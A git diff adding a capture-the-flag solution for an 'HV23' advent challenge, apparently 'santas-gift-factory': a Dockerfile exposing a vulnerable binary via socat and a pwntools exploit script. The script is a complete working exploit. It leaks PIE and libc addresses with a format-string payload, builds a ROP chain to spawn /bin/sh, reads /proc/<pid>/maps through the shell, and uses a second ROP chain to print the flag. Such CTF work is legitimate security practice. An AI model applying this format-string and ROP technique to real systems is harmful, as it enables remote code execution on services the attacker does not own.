diff --git a/Day 16/Dockerfile b/Day 16/Dockerfile new file mode 100644 index 0000000..47373eb --- /dev/null +++ b/Day 16/Dockerfile @@ -0,0 +1,11 @@ +FROM ubuntu:23.04 + +RUN apt update && apt -y upgrade +RUN apt install -y socat + +COPY . . + +RUN chmod +x vuln +RUN chmod +x magic.sh + +ENTRYPOINT socat TCP-LISTEN:1337,reuseaddr,fork EXEC:'./vuln',raw diff --git a/Day 16/exploit.py b/Day 16/exploit.py new file mode 100755 index 0000000..75010b9 --- /dev/null +++ b/Day 16/exploit.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template '--host=152.96.15.8' '--port=1337' +from pwn import * +from hackingscripts import util +import struct + +exe = context.binary = ELF(args.EXE or './vuln') +libc = ELF("./libc6_2.37-0ubuntu2.2_amd64.so", checksec=False) + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR +# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable +host = args.HOST or 'b8fb5148-65c8-4306-9341-e2ba20821791.rdocker.vuln.land' +port = int(args.PORT or 1337) + +def start_local(argv=[], *a, **kw): + '''Execute the target binary locally''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +def start_remote(argv=[], *a, **kw): + '''Connect to the process on the remote host''' + io = connect(host, port) + if args.GDB: + gdb.attach(io, gdbscript=gdbscript) + return io + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.LOCAL: + return start_local(argv, *a, **kw) + else: + return start_remote(argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== + +def tell_flag(username, fmt): + + if not isinstance(username, bytes): + username = username.encode() + + if not isinstance(fmt, bytes): + fmt = fmt.encode() + + io.recvuntil(b"> ") + io.sendline(username) + io.recvuntil(b"> ") + + io.sendline(fmt) + result = io.recvuntil(b"I will see what I can do...\n") + + prefix = b"\x1b[?25h\nSanta: You want me to help you with " + if result.startswith(prefix): + result = result[len(prefix):] + + suffix = b"?\nSanta: I will see what I can do...\n" + if result.endswith(suffix): + result = result[:-len(suffix)] + + return result + +def do_conn(username, fmt): + + io.recvuntil(b"(y/n)? ") + io.sendline(b"y") + + data = io.recvuntil(b"> ") + lines = data.decode().split("\n") + present_count = {"red": 0, "blue": 0, "yellow": 0} + for line in lines: + match = re.match(r"\s*-\s*(red|yellow|blue)", line.strip()) + if match: + color = match[1] + present_count[color] = present_count[color] + 1 + + io.sendline(str(present_count["red"]).encode()) + io.recvuntil(b"> ") + io.sendline(str(present_count["yellow"]).encode()) + io.recvuntil(b"> ") + io.sendline(str(present_count["blue"]).encode()) + return tell_flag(username, fmt) + +io = start() +payload = b"" +payload += b"%35$p|%39$p|" +payload += (168 - len(payload)) * b"A" +assert len(payload) == 168 +payload += p8(0xA0) + +result = do_conn("x", payload) +leak = result.split(b'|') + +exe.address = int(leak[0][2:],16) - exe.symbols["main"] - 158 +log.info(f"Piebase: {hex(exe.address)}") + +libc_leak = int(leak[1][2:],16)+48 +libc.address = libc_leak - libc.symbols["__libc_start_main"] +log.info(f"libc leak: {hex(libc_leak)} ") +log.info(f"libc base: {hex(libc.address)}") + +# chain for shell +rop = ROP([libc, exe]) +rop.raw(rop.find_gadget(['ret'])) # stack align +rop.system(next(libc.search(b"/bin/sh"))) +rop.raw(rop.find_gadget(['ret'])) # stack align +rop.call(exe.symbols["tellflag"]) +payload = b"A"*168 + rop.chain() +tell_flag("x", payload) + +io.sendline(b"ps | grep vuln | awk '{print $1}'") +pid = io.recvline().strip().decode() +print("[+] Got PID:", pid) + +io.sendline(f"cat /proc/{pid}/maps | grep heap | awk -F '-' '{{print $1}}'".encode()) +heap_base = int(io.recvline().decode(), 16) +print("[+] Got Heap base:", hex(heap_base)) +io.sendline(b"exit") + +rop = ROP([libc]) +rop.raw(rop.find_gadget(['ret'])) # stack align +rop.puts(heap_base + 0x484, ) +rop.call(exe.symbols["main"]) + +payload = b"" +payload += 160 * b"A" +payload += p64(0) +payload += rop.chain() +tell_flag("x", payload) +flag = "HV23" + io.recvline().decode().strip() +print("[+] Flag:", flag) +io.close() + diff --git a/Day 16/libc6_2.37-0ubuntu2.2_amd64.so b/Day 16/libc6_2.37-0ubuntu2.2_amd64.so new file mode 100644 index 0000000..666b79f Binary files /dev/null and b/Day 16/libc6_2.37-0ubuntu2.2_amd64.so differ diff --git a/Day 16/santas-gift-factory.zip b/Day 16/santas-gift-factory.zip new file mode 100644 index 0000000..d82c5b5 Binary files /dev/null and b/Day 16/santas-gift-factory.zip differ diff --git a/Day 16/vuln b/Day 16/vuln new file mode 100755 index 0000000..18283d3 Binary files /dev/null and b/Day 16/vuln differ